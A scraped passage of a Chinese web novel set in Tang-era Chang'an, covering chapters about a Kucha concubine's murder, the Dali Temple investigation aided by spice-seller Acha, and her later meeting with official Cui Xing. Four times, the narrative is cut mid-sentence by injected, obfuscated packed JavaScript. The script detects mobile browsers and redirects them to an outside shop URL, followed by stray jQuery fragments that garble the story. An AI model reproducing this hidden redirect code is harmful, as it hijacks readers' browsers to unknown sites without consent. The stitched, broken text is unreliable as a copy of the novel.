刘武一早便去了鸿胪寺,与四方馆主事对接之后发现这几日并没有接到外邦领馆的报丧,因为大理寺发现的死者并没有头,鸿胪寺派来协助的钱主事只能从那件血衣上找找线索。
胡四这厢则要难办得多,阿茶虽说算是提供了一条关键性线索,然而她的香粉也卖出不少,诺大的长安城要找一个身有异香,且潜藏在暗处的人何其艰难。
回到香料铺子,阿茶在阿济的强烈要求下,跨过火盆再用柚子叶沾水拍打全身,据说是这样能够驱邪避祟。这些中原人的习俗阿茶只觉新奇却不轻信,不过既然是阿茶的一番好意也就随她去了。
阿延奇想来她昨日定是没有睡好,让阿济去澧泉坊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648609|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一家酒楼打包了几道西域美食让她吃完便去休息,被阿茶推拒了,“若是那人是真想破案,等会儿定会有人前来,若是此时睡了待会儿不得叫人好等。”
阿延奇虽不知阿茶说的那人是谁,但听完阿茶这一日一夜的经过后也大致有了决断,“那就等等吧,我听闻大理寺新上任的那位少卿破案神速,手段了得,不但自小便有神探之名,大理寺在他的治理下也可谓是脱胎换骨,想来你提供的这条线索必不会不被当做一回事。”
果不其然,不到半个时辰胡四出现在香料铺子。
他出了大理寺在义宁坊转了几圈依旧没有头绪,忽的一阵清风袭来,他闻见了些许甜腻的香气,原是一轿辇上有一身穿襦裙打扮华丽作妇人打扮的年轻女子。胡四心道‘刘十一郎又招妓了,不知这回的是杨柳院还是芳菲阁’。
正是这一句话,胡四像是突然打通了任督二脉般,有了搜索方向。
“康娘子叨扰了,在下前来是想请你帮个忙,”虽说不是胡四将人无故抓进监牢的,但现在求人办事的是他,胡四只能庆幸今日对阿茶的态度还算不错,起码阿茶并没有刚一回家便推拒不见人,“不知康娘子研制的香粉是用了那几味原料制成。”
如胡四所想的一样,阿茶并没有为难他们,还将自己研制出的几款香粉原料一一列出交与他们,“只是那二人当日打碎的是我还未研制完的办成品,其中还夹杂了不少其他的香料,其中就有一味阿薛纳,是这几分里面都未添加的。不过大漠的白麒龟甲最喜食阿薛纳,被其咬后伤口为十字状,且久治不愈。若是如今的天气,约莫已经化脓深可见骨了,大人不妨去一些医馆试试。”
谢过阿茶后,胡四兵分三路,一队牵着三只养在大理寺的大黄狗用最笨拙的方式沿街搜寻;一队暗中打探名录上的买家;他则领着最后一队搜寻领馆和西市附近的医馆。
为了以防万一,他还特地分出几人专攻一些开在暗处行不轨之事的,以及贩卖违禁药物的,若是能将其一网打尽也算是功德一件,来年的政绩上亦可添上一大笔。
鸿胪寺这边,衙役送去画像另一筹莫展的刘武和四方馆主事看到希望。
因大理寺前几日并未将血衣当做线索,他们只知这件袍子瞧着便价值不菲,再加上九寺之间也并没有明面上相互配合破案的先例,正因如此主审案件的刘寺正只能不管不顾的一头扎进西市。
崔行开的这个先例也让鸿胪寺卿好一番诧异,原来事情还能这样办,不由的冥思苦想,他之前各方找关系,求爷爷告奶奶的又算什么。
钱主事领着人也只从血衣上得出两条线索,其一:袍子上绣有龟兹王室的图纹;其二:袍子上原本应该镶嵌了不少宝石,可惜如今都不翼而飞。
然而这两条线索却并不能证明死者是龟兹王室中人,无论如何,刘武还是和钱主事去了一趟龟兹领馆。
出门之际恰好画像送到,钱主事一眼就认出了那女子的身份——正是龟兹小王子的宠妾。
5. 第 5 章
“啊!”
阿茶从惊恐中醒来,梦中满是大理寺停尸房见到的那具尸体。她并非不曾见过尸首,只不过大漠干燥少雨水,寻常尸首只有被风干的份,那会是那种可怖的模样。昨日入睡前她也在阿爷留下的书籍中翻找过,那也是一种尸变现象,湿润温暖的环境容易让尸首内部发生的某种不知名生物暴增,加剧尸首的腐败使其膨胀。
扶着额头坐了好一会儿,推开窗子,漆黑的夜色星星点点,坊门已开,做早食生意的小贩推着各色的独轮车井然有序的到达各自的铺子。
想着反正也睡不着了,阿茶决意起床寻找点美食,上次阿延奇带回的汤饼味道不错,听说还有什么水盆羊肉,不如就今日去试试。
“小份水盆羊肉,另来两份正常放量的一会儿打包带走,麻烦老丈了。”
卖羊肉的老丈笑呵呵的说了句‘不妨事’,麻利的烫好一份小碗装端给阿茶,“娘子今日赶巧了,是小店今日的第一位客人呢,可是前几日来没有吃上今日特地早起?”
“可不是嘛,儿往日每每前来,老丈不是人满为患便是售罄,可不得早些来,到底还是老丈手艺好。”阿茶以往并没有特意为了这一口专程来等过,不过与人相交双方高兴就成,倒也不必计较内里究竟如何。
“不是小可吹嘘自己生意好,小可在这西市卖了几十年的羊肉了,这门手艺也是家传下来的,所用的羊也必须得是散养的吃起来才够滋味。若是那羊吃过天山脚下雪水灌溉过的草原那滋味,定然比这羊美味千倍万倍。”
“老丈就这么把秘诀告诉儿了,不怕儿偷学了去往后抢你的生意?”阿茶觉着这老丈真真是有趣,分明一脸益州人长相,知道的还不少。心中那股子恶心消下去不少,便忍不住打趣道。
“怕什么,若是有人能传承下去小老儿定然要开坛拜谢列祖列宗,唉,有客到了,娘子慢用。”
“康娘子?”阿茶听见有人唤自己,偏头去看,原来是胡四和几个大理寺的衙役,这个点,应是去上值的吧,不由得在心中暗叹‘可真早啊,换做我定然是起不来的’。
“还真是你,康娘子今日可真早,莫不也是为了老丈的羊肉来的?”一想到那日在大理寺狱看到的情景,胡四便一脸恶寒,他属实是想不到居然有人在牢房也能睡得,如此香甜。
阿茶脸色一黑,她自然也想到了那日的场景,瞪了胡四一眼并不回话。她原本在家中便习惯了晚起,阿娘以往常常训诫她都叫阿爷笑着一句‘女子得睡足五个时辰才最利于身体,阿茶这才睡了多久,你便是睡得不够这才时常生病,往后你必须得睡够四个时辰才行’挡了回去,只得含笑怒骂阿爷以求解气。
胡四是个自来熟的,说过几句话便能与对方称兄道弟何况阿茶这种帮了大忙的,相处起来自然已当做了自家姊妹般。“不是吗,那还真叫大人说对了,你昨晚入睡定是没喝安神汤吧!”
阿茶气绝,很想骂回去转念一想这是人家的地盘,找回场子也不能在扰了别人的生意,忍了又忍,压低声音怒骂道,“不会说话没人问你!”
“啊,大人还真是料事如神,连你这句话他也说了。我们大人真不愧是……”
眼见胡四还要继续喋喋不休夸赞那不知名的大人,阿茶更加气不过,直接打断他,“你们大人管的是不是有点宽,连我面都未见过居然在人背后说,那个词叫什么来着,反正就是不该,你们中原人不是自诩涵养的吗,这便是你们的涵养吗!”
“你这女子怎的如此……”见阿茶的眼神越来越冷,无端感受到一阵杀意,胡四脑筋转的飞快,立马将未出口的话咽下换上另一句,“如此聪慧,还真叫你说准了,昨日戌初果真在一处偏僻的药房找到了那人,右脚脚踝几乎烂完了,只剩些许皮肉还挂在白深深的骨头上。等案子结了你可不许推辞,我可得好好感谢你。”
阿茶眼中冷意消散,笑着说了句‘都是该做的’,‘不必如此’,终是在胡四的强烈的邀请下应了这顿饭。阿茶深知哪怕没有她那几句话,大理寺也会有法子破案,如今不过是提前了几日,况且胡四官职虽不高但亦是官身本不必如此,今日此番也是客气而已。
不过她倒是对胡四口中的那位大人愈发好奇了,“你口中的大人是?他没见过我便能推断出这许多,难道他是神人投胎不成?”
“大人自然是崔少卿崔大人,谁说他没……”胡四蓦的停下,忽的想起少卿曾说过在外最重要的便是不能被人套了话去,“对,他没见过你。大人洞察惊人,能从细微末节找寻真相,诚然,是被不少百姓叫过神探,不过这些都是虚名,虚名,大人一向不喜这般兴师动众。”
胡四还欲接着说,被另一桌已经吃完的衙役们叫走了,走时还依依不舍的望着碗内还未喝完的羊汤。
点完卯,一衙役见胡四还耷拉个脑袋,玩笑似的说:“怎的,是忘不了那碗羊汤还是忘不了那貌美的小胡女啊。”
另一人高声说道,“羊汤我们日日都吃,怎可能是羊汤呢,胡二哥你这就不厚道了啊,嫂夫人与你相伴数载,生儿育女,你这一朝见了貌美小娘子便忘了家中糟糠我等定不会坐视不理,对不对啊大家伙儿!”
“都不做事了!若是嫌最近事少,刘武吩咐下去,恢复每日的晨练。”崔行刚走入衙门就听见几人的谈论,事关女子的清白,不得不严厉惩戒。“可记清是那几人了,下值后每人罚五百蹲起,记得绑上最重的沙袋。”
胡四快步追上崔行,与刘武并排而行,还不忘回头瞪了那些人几眼,无端连累他。“大人你莫要听他们胡说,下官只不过是在西市用早食时见到了康娘子多说了几句。大人猜的可是神了,那小娘子还是真被吓醒了,眼下的青黑活像三日三夜没入睡一样。”
崔行脚步一顿,继续走向东院,胡四丝毫没有察觉依旧喋喋不休的用各种华丽的辞藻吹捧崔行,直至被关在门外才被迫停止。
进门后就连一向寡言少语的刘武也忍不住吐槽了几句,崔行无奈叹气,胡四自是比不得刘武一直跟在身边十几年的情分,当初见他也算可造之材想着带在身边总有独当一面的时候,却不成想这是个碎嘴子,跟谁都能聊上几句。
然而偏偏就是这上不得台面的毛病,有些
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648610|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
场合还只能他去,是以,崔行也就放任不管,只在必要时候提点一二。进来这毛病已然好了不少,今日不知怎的又犯病了。
“叫他进来商议正事吧。”想着晾也晾够了,崔行虽有严酷之名,终归还是奖惩有度。
“那人可交代了?”昨日戌时胡四带着嫌犯回到大理寺时,崔行家中有事回府了,是以没有亲自提审。
“刘寺正今晨刚回府,想来是招了,这是今晨刚送来的爰书。”刘武极其自然的一旁盛放一应文书的桌案上抽出司法文书上前递给崔行,胡四一脸羡慕的盯着刘武,心底暗暗发誓有一日他也要做崔行的近臣。
“都说说昨日的发现以及各自的见解。”崔行习惯于一边翻看爰书,一边考校学生。既能看看二人对案情的了解情况,又能得出二人的不足并加以指教,可谓是充分贯彻了在实践中学习这一指针。
“昨日下官和鸿胪寺钱主事去龟兹领馆发现……”
龟兹领馆,刘武乃是大理寺八品评事,官阶虽比钱主事高一级,但终究与外邦往来不多,再加上寡言少语不善言辞,事乃,只能钱主事出面交涉。
以他们二人的身份自然见不到龟兹小王子,乃是副使接待了他们。起初苏副使直言领馆内并未有人失踪亦或是死亡,哪怕刘武拿出了画像,苏副使也只是略微皱了皱眉头便一口否决了死者的身份。
“我想二位定然是弄错了,我们王子是有位宠妾,不过不久前她家中来报其母危在旦夕,不日前她已返回龟兹了,想来如今应到河西了。”
龟兹领馆死不承认,刘钱二人只能返回,不过刘武跟在崔行身边许久自不是白待的,当即命人在守在附近,另一队人乔装打扮在领馆附近看有无线人。
钱主事见刘武这一手甚为诧异,原来还能这样办案,那他们以前算什么。
“也不怪苏副使想遮掩过去,这事属实不光彩。”刘武表情怪异,一脸的扭捏为难,这副状似二八少女含羞带怯的模样,配上五大三粗的身材,真真辣眼睛,崔行还是第一次见到他这幅神情,晃神间不禁在想,这十几年是不是还是了解的不够透彻。
“刘兄你快说吧,你再这幅模样,我就要吐了,今后小弟我怕是再也不能直视小娘子们含羞带怯了。”
要不说胡四的碎嘴子是有好处的呢,眼下可不就解救了崔行。
“死者的身份不出意外便是龟兹小王子白简的宠妾毗卢纳,她比小王子略微大几岁,是龟兹早已落魄的贵族之女,最初也算受宠,但小王子来长安后迷上了中原汉女。据领馆内传出的消息,失去王子的宠爱后,毗卢纳难过了几日便与王子护卫队的一个年轻男子勾搭上了。”
“起初二人还算克制,渐渐的发现王子似乎并不在乎她的所作所为,便愈发大胆,二人甚至白日就,还叫王子逮了个正着,王子一怒之下将二人赶出了领馆。毗卢纳最后出现的地方便是西市的香料铺子。”
“至于那所谓的护卫,我询问过线人,皆说没有见过那人的真面目,至于画像上的男子,也都不清楚是谁,恐还不能确定这人便是与毗卢纳通奸的那名护卫。”
6. 第 6 章
“王子的护卫团可是由龟兹贵族子弟组建而成?”崔行想到之前的猜测问道。
刘武思索片刻回道,“也不全是,属下和钱主事去领馆的途中听他提起过,龟兹小王子不是王后亲生,来长安是为求庇护。护卫队中有一小部分是他的直系,其余才是那些贵族子弟。来长安后,小王子笼络了苏副使,那些贵族子弟人生地不熟权柄自然被收回得差不多了,但经年累月的积累依旧不可小觑。”
崔行点点头,将目光转向胡四,“说说你那头的发现。”
刘武见胡四还愣在一旁,抬起胳膊撞了撞他,“怎么……”回过神的胡四看见身旁的刘武用嫌弃的目光斜睨了自己一眼,转头望向堂上,只见崔行依旧翻阅着手边的爰书,刚想松一口气,便听见崔行的声音自前方传来,“想到什么了,那就一并说说看。”
“是,属下是觉得龟兹领馆在有意为那护卫遮掩。”
“哦?何以见得。”崔行总算从爰书中抬起头,面上虽还是那副波澜不惊的模样,心中却颇为惊喜。
胡四自然不知情,见崔行抬头反问还以为是自己说错了,但还是抖着声音继续说道,“若,若不是,那,那为何能在龟兹领馆附近打探到死者通奸的消息,却又没有一个人能说出奸夫是谁呢。这定是故意为之啊,死者虽也是贵族之后,但家族早已落魄,能进王子护卫队的贵族寻常贵族都不一定有机会。”
“在理,你最近长进不少,罚抄可以减免。”
“真的!多谢少卿。不过属下能在短短一日内找到画上那人,还多亏了康娘子的忙,是以今日晨间才与她多说了几句。”
在崔行开口前,胡四嘴快的解释了一遍阿茶在其中起到的作用,又说了抓到嫌犯的过程……
昨日胡四部署好后,带兵乔装打扮一番两人一组各自进了领馆附近大大小小的医馆,然而都败兴而归。
所谓大隐隐于市,胡四等人在街口随意找了家小食店边吃边复盘,“这人还怪会藏的,按康娘子的推测,该是少有人能忍受到如今才是啊。你们可有发现?”
一年轻的衙役几口刨完海碗内的汤饼,还未咽下便着急开口说道,“四哥,你就这么相信那个小娘子,不是弟弟有意挑拨,只是她不是也说了那劳什子龟甲大漠才有吗,何况这也只是她的一面之词,我们兄弟几个搜了一下午,莫说什么龟甲,哪怕伤口化脓的伤者都无一人。”
周围的衙役也都一脸赞同的盯着胡四,胡四心中又何尝不知呢,只不过眼下没有其他线索,而且他莫名的极其信任阿茶,不知是不是因为因为崔行相信她出狱时那句话的原因。
“康小娘子何时说了那白麒龟甲大漠才有,只不过因为西域产香料,白麒龟甲又以阿薛纳为食,这才使得大漠常见而已。如今长安香料可有少见?自去西市数数,有多少商贩不贩卖香料的。”
“那人又是从西市离开的,身上还沾有浓浓的阿薛纳香,被龟甲咬的概率不是没有。再说了,你们还有旁的法子吗,若是嫌犯一直潜藏不出来,靠后院那几只猎犬要找到何时去。都不必说了,先按我说的来吧。三哥你是不是有发现,跟大伙儿说说吧。”
训完一干人等,胡四抓了个壮丁完美隐身。被点到名的荀三内心颇为无语,好在他的确有所发现。
“我和小七去了三家医馆,分别是位于龟兹领馆隔壁三十丈的济慈堂;与领馆同属一曲但隔了两条巷子的保安堂和隔壁坊的许氏医馆。其中这许氏医馆虽在隔壁坊但有退下来的御医坐镇,是以,乃是这三家甚至是周围所有医馆中最有权威的一家。”
“济慈堂和保安堂都没什么发现,不过这许氏医馆有蹊跷。我偷偷看了他们在后院熬的药,里面多多少少都放了些底也伽,这东西虽能入药,以减轻患者的痛苦,但若过量便会导致上瘾。”
“底也伽是什么?三哥你是如何识得的,这跟案子也没有关系啊……”“闭嘴,听三哥说。”另一个衙役打断荀三,被胡四一巴掌拍上后背后也不敢继续插嘴了。
“赵小柏你说你惹你四哥作甚,底也伽自然是底也伽,我家娘子也学过医,现如今在怀远坊一家医馆做工,你说我如何识得,何况我刚刚不是说了,底也伽入药能减轻痛苦,若是嫌犯去了许氏医馆,查一查那些药开过底也伽不久清楚了吗。”
众人一听这消息,立马喜笑颜开,立马起身结账走人,落在身后的胡四听见荀三嘀嘀咕咕嘟囔了句“不该啊,为何所有的药都有放底也伽”。胡四暗暗记下这个疑点,他虽然也想不明白,但若能致瘾便是非同小可。
胡四拿到了药方,荀三看了许久,摇了摇头,直言这只是治疗普通刀剑砍伤的汤药,加了大量底也伽到也合理。眼看线索又断了,众人不禁气馁,“垂头丧气作甚,这服药起码证明了嫌犯极大有可能被白麒龟甲咬伤,且如今已经到了不得不用药物止疼的情况,这便是好消息,顺着查下去定能找到嫌犯!”
若不是胡四是崔行看中的人呢,三言两语便让众人恢复士气。这时另外派出去盯着暗馆的人传来消息。
“三哥你带几个身手好的从此处翻进去,先控制住所有出入口;小七你和小柏年轻,留在外面接应,听话!里面是何情形暂时不得而知,还没娶媳妇呢,按我说的做,其余人跟我冲进去!”
半个时辰后,大理寺狱,胡四一行人一共抓回三十七人,皆是贩卖违禁药物的,其中还有不少美貌妇人。
“四哥,你没事吧,三哥醒了吗?”哭哭啼啼的小柏一见浑身带血的胡四又哭了起来,嫉恶如仇的小七一把扯起他就往外走,“哭有什么用,走,跟我去练武!”
胡四看着只剩一团光影的两个半大少年,忍不住轻声笑了笑。
“属下跟着刘寺正审到半夜,那人依旧什么都不说,幸好刘武兄弟与钱主事带来了苏副使,这才知晓了那人的身份。此人正是小王子护卫队的副队长——班戟,龟兹贵族之后,听说其先辈感念班夫子特意改为班姓。”
“班戟这人不学无数,因是龟兹王后亲妹留下的唯一后代,亲妹是为救王后而死,是以王后一直深感愧疚。此次小王子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648611|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
求得出使长安的机会,后又上书说想留在长安学习中原文化,王后怕其壮大,便派了班戟前来。”
“班戟到达长安后,安稳了几日发觉小王子压根不值得王后忌惮,放松了警惕。偏偏这人又是个拈花惹草的性子,便叫王子抓住了这一点,本是准备了几位年轻漂亮的美人,可人根本没看上。”
“小王子几次试探,都以失败告终,却未成想到他居然看上了自己的姬妾。王子早就厌弃了那姬妾,自然乐在其中。后来的事便与刘武兄弟那头对上了,王子撞破了二人,将二人赶了出去。”
事情已然明了,班戟喜爱丰腴的妇人,毗卢纳失宠后又遇上了明面上能压小王子一头的王后内侄。小王子的放任让两人更加肆无忌惮,领馆众人又在小王子的命令下视若无睹。等到将身边的障碍清楚,小王子设计让两人暴露于众目睽睽之下,在理所当然的斥责一番,又言在他国不好处置只能将其赶走。
二人被赶出时,毗卢纳正是穿着一身暗绿色长袍,至于班戟,他乃王后内侄,按理来说小王子将其软禁才是上策。实则当初正是这样做的,“毗卢纳那个贱人,谁成想她居然买通了看守侧门的小厮,偷溜进馆救走了班戟。”
“这班戟好生狠心,毗卢纳为了救他花光了身上所有钱财,他却一气之下杀了她,可见女子还是不能用情至深。”
“刘武兄这你就说错了,那女子哪里来的用情至深。”胡四哈哈大笑,驳回了刘武的一番观点。
“这,这还不算用情至深,她与小王子我查过了,乃是被其父逼迫,所做的都是为了家族。而班戟,两人,两人不是有过一段你侬我侬的……”说着说着刘武也说不下去了,他虽比胡四年长几岁,但与其妻成亲不过三载,聚少离多属实无甚情义可言。
“胡四说的对,毗卢纳救班戟不过是看中了他的身份,此乃从死者衣袍上找到的碎片,五叔清洗出来了,都看看吧。”崔行将桌案上一直放着的托盘推给二人。“班戟既然承认了杀人事实,可有交代那颗头被丢到何处了。”
正在辨认托盘上几张碎纸的胡四微微抬头向后大声说道,“说了,说了,被他用锦袍随意一包丢清渠里了,刘武兄说的不错,这人好狠的心,他为了防止不浮起来,在锦袍上系了一块石头。”
“不过他到底生在大漠,也不懂清渠里的暗流,那块石头许是并不大,只能沉下去,却经受不住河道的冲刷,现如今早就不知道冲去何处了。不过大人放心,兄弟们一早就去打捞了,也不知今日能否捞出来。”
胡四还未说话,就听见对面传来一道声音,若是细细辨别还能听出里面的震惊,“这,这是,河西乃至关外的地图?大人和胡四兄弟是对的,我还是太浅薄了,太浅薄了。”
胡四呆呆的看看刘武,又看看崔行,算起来刘武是师兄,他这话,胡四还真不知怎么应答。
“各有所长而已,不必妄自菲薄。都下去吧,捞起来后去找林寺丞结案。”崔行懒得听他们二人就不相干的话相互奉承,有这些时间案子说不定早就破了。
7. 第 7 章
某日,阿茶照例去香料铺子后巷的一家食肆用膳,“贺老板生意兴隆,还是老样子照旧,今日换种口味,听闻何老板从沙州运来不少葡萄酒,可否匀点?”
食肆老板贺进笑呵呵的应了阿茶,只不过阿茶来的不巧,现下店内未有空置的桌案,正想着不若请阿茶等候片刻,便见她圆圆的眼睛忽的亮了下,心道定是见到熟人了。
阿茶轻笑行礼请求自便,自顾自的去了一靠窗的角落。
“店内人多未有空桌,不知能否与郎君搭个桌?”崔行听见身旁传来一活泼俏皮声音,回头望去,竟然是之前那个傲娇狡黠的小娘子,她叫什么来着,好像是阿茶吧,“郎君不说话,小女便当郎君同意了。”说完,阿茶也不管对面那人的神情,径直撩袍坐下。
几息前,阿茶也在为难是多等片刻还是让贺老板直接送去铺子,四下看着也并没有快要用完的食客。不过临街窗旁一鹤身玉立的身影有点眼熟,阿茶多看了几眼,很快认出那人来。这不是大理寺狱那尊阿难陀吗,阿茶双眼一转,有了注意。
“郎君点了这许多,却又不用,贺老板知晓该伤心了。”眼前的人端着一副正襟危坐、刚正不阿的模样,实则分明就是冷眉冷眼、不通情理。阿茶微微调整了自己的坐姿,更加随意放松了,紧接着状似随意的又问了句,“郎君应是第一次来此处吧。”
“何以见得。”
听见对面终于发出声音,阿茶微微勾起嘴角,这人还真够目中无人的,“这不是一目了然吗。”说完在崔行的目光中瞟了一眼几乎摆满的桌案。
“郎君点的大多是招牌上有的,然而只要来过一次的食客几乎都有自己专属的口味。”说完阿茶噗嗤一笑,压低声音以手覆面凑近崔行又说了句,“郎君许是不知,贺老板这招牌啊,就是为了如郎君一般的公子特意定做的。突出的呀,便是一个雅致。”
阿茶刚说完第一句,崔行便不动声色的打量了周围的桌案,果真如阿茶所说一样,每个桌案各不相同。听完这最后一句,崔行猛的转头看向柜台前的招牌,那是一块烧了一角的木板,烧焦处画着一丛蓬勃生长的飞蓬。虽称不上多么雅致,但若是与这店内的环境一厢比对,高低立下可见。
阿茶神态坐姿更放松了,不日前的不忿一扫而空,想着也别浪费食物了,那就好心指点一二吧,“郎君不必气恼,桌上这些吃食若是配上一壶店内特制的饮子,可解七分油腻。小二,来壶甜汁。”最后这句话是用吐火罗语对店内的胡人小厮说的。
崔行若还没看出眼前这小女子刚才一系列的行为的目的,可以立即从大理寺辞官了。不过是那日出去时望了她一眼,她便记到如今,崔行摇摇头,暗叹道古人诚不欺我也。
不过有一点,眼前人到底还是猜错了,他不用确是因为太过油腻,但究其原因,并不是因为眼前的吃食,相反这加了大量香料又在碳火上炙烤过的肉反而是他这几月来吃下的为数不多的肉类了。
一想到几年前那事,崔行觉得那股恶心不适之感又来了,正想告辞眼前突然伸来一只白皙纤细的手,手上端着一杯紫红色不知是何物的液体,闻着还有一股花香和甜香,另还有一丝清新淡雅的清香,不知源于杯中还是对面。
“快接住啊,手都酸了,果真是只会办案的书呆子啊,竟半分不知心疼女子的。”崔行在这一声矫揉造作的挖苦下认命的接下这满满一高杯。刚想放下,对面那人又发话了,依旧用着那股矫情娇气的调调,“喝啊,不是不适吗,你这杯我可是特意没让小厮加冰,只不过这风味怕是要减半了。”
在对面那人的催促下,崔行不得已喝了一口高杯中的液体,滋味不错,初为酸后为甜,还有淡淡的苦味,多半是陈皮。这饮子应是多种药材配上棠球子熬煮而成,一口下去,之前的不适确有缓解,不免多饮了几口。
“多谢,”换做旁人能得他一句谢已是不易,但眼前人状似无意的关心,崔行认为攀谈几句,也不为不可,“这分明酸大于甜,为何店家要叫它甜汁。”
正在配合小厮撤菜和摆菜的阿茶听见这奇怪的发问先是微微诧异,眼前之人居然还懂吐火罗语,紧接着又噗嗤一笑,“郎君不若自个想想为何?若是叫酸汁,好听吗。”
等到阿茶点的菜色上齐,崔行依旧沉着脸,眼神虚焦,空望着某个不知名的地方,显然是又不想说话了。
“好了,开吃,郎君,郎君?”阿茶在崔行面庞前挥挥手,“还计较呢,如今的糖虽没前朝精贵,但依旧是百姓轻易吃不起的,是以,郎君可明白了。你刚点的被我撤下去了,不若试试我点的吧,只是不知合不合你口味。”
酒足饭饱,二人互相告辞,一人踏上早已等候多时的马车,一人蹦蹦跳跳穿过灯火通明的巷口。马车上的崔行挑起帘子看向穿过巷口拐进隔壁香料铺子的阿茶,确认了她的安全,马车这才晃晃悠悠的驶出西市。
“你感觉到了吗?”“你也感觉到了!”“这次是因为什么?”近几日大理寺上上下下明显感觉到那股许久不见的威压,又笼罩在大理寺的上空了。
“四哥,四哥,哎,等等,等等,四哥走这么急作甚,近日又没有新的案子。哎,你和少卿熟,知晓什么消息可一定要告诉大家伙儿啊,哎,哎,别走啊……”
躲到一处无人的角落,胡四仔细观察周围确认不会有人经过后,吐出一大口浊气,“我这张嘴啊,千不该,万不该啊,怎的就是控制不住碎嘴子的毛病呢。”
让一众上下都感到彷徨的不是别人,正是崔行。这几日,三年以上的老员工们提心吊胆,新进的小年轻们呆头呆脑,不知所云。
然而事情的起因正是源自胡四的一句话,某日查案赶不及回大理寺用午膳,众人就打算在街边食肆解决温饱,胡四见崔行食欲不佳,又想到崔行哪怕在大理寺也不和他们一道在饭堂用饭,本着下属得为上官排忧解难的心,胡四倾情推荐了西市的炙肉。
他之前偶尔去过一两次,虽说店内胡人居多,但架不住那炙肉属实是香啊,香料沉沉堆叠,就连羊膻味都能被掩盖,更何况其余肉类。再加上不知是谁发明的吃法,用精面烤的白饼子,包上肉和葱段,一口下去,唇齿留香。
尽管胡四倾情推荐过,但他也没有料想到崔行居然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648612|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真的会去。堂堂博陵崔氏嫡子,从四品上的大理寺少卿,什么没吃过啊。
胡四是如何发现的呢,实则很简单。
这日发月俸了,胡四念着好久没吃过了,再加上家中妻子也心心念念想来尝尝,下值后便带着妻小去了西市炙肉店。大约半个时辰后,胡四忽然发现了崔行面如菜色神情狼狈的走出炙肉店。他偷偷溜去那桌看过,分明不是第一次去的样子,但桌上的吃食却没动多少。
胡四忽然听到了山崩地裂的声音,抬头一看,雕花房梁依旧暗沉老旧,却没有半分开裂的痕迹。哦,原来这是胡四仕途崩塌的声音。
惶惶度日度日如年,三日后大理寺众人又发现头顶的威压不见了,作为威压本人的少卿甚至有了笑容。只不过怎么看,怎么都觉得,那笑容里藏着一种算计和心满意足。
三日前,经过多次试验的崔行看着手书上全部被划掉的选项,又一次复盘了那次用餐。突然不知怎的闻到一股清新淡雅的药香,揭开桌案边放着的那支越窑青釉莲花香炉,里面空无一物。崔行记起,他从小便不爱熏香,是以,他的居所虽有香炉的存在,却从未燃过香。
只是这香气莫名有些许熟悉,崔行提笔在手书上添上一行字,沉默片刻刚准备划掉,下笔时想到困扰这么多年的隐疾,终是放下笔合上手书出了府。
西市香料铺子,小人儿罗格捧着一本书坐在柜台后,阿济拿着鸡毛掸子正在拭灰,挂在门上的铃铛发出清脆声。
一位身着深蓝团纹锦缎缺胯袍,头戴白玉发冠,长身玉立的男子走进店内,蹀躞带上虽空无一物,却镶嵌着几枚玉牌。
阿济见来人衣着华丽,长相贵气,但脸色却不好看,生怕又是来找麻烦的,店中又无其他人,不能叫六岁的罗格去招待吧,又只能硬着头皮上前搭话,“郎君想看点什么?小店有上好的沉香,澧泉坊几位府中都是在小店长期供的。”
见那人依旧冷着脸不说话,阿济只能继续推荐其他香料,“郎君可是不喜沉香?小店还有西洲的羊刺、龟兹的安息,再远的便还有康居的阿薛纳、拂菻的水仙、身毒的胡椒豆蔻,不知郎君是喜好气味淡雅的,亦或是浓烈的,若是小店没有的也可为郎君寻来。”
阿济见那人在听到康居时眼睛动了一瞬,立马欣喜若狂,总算是有点反应了,在这么下去她恐怕就待不住了,这人也忒有威慑力了。
“不知郎君可喜欢这阿薛纳香和苷香,小店的这两样啊,不是奴家吹嘘,整个西市再也找不到比小店更正宗的了,这可是我们掌柜的特地从康居带来的呢。烦请您稍坐片刻,奴这就去取来。”
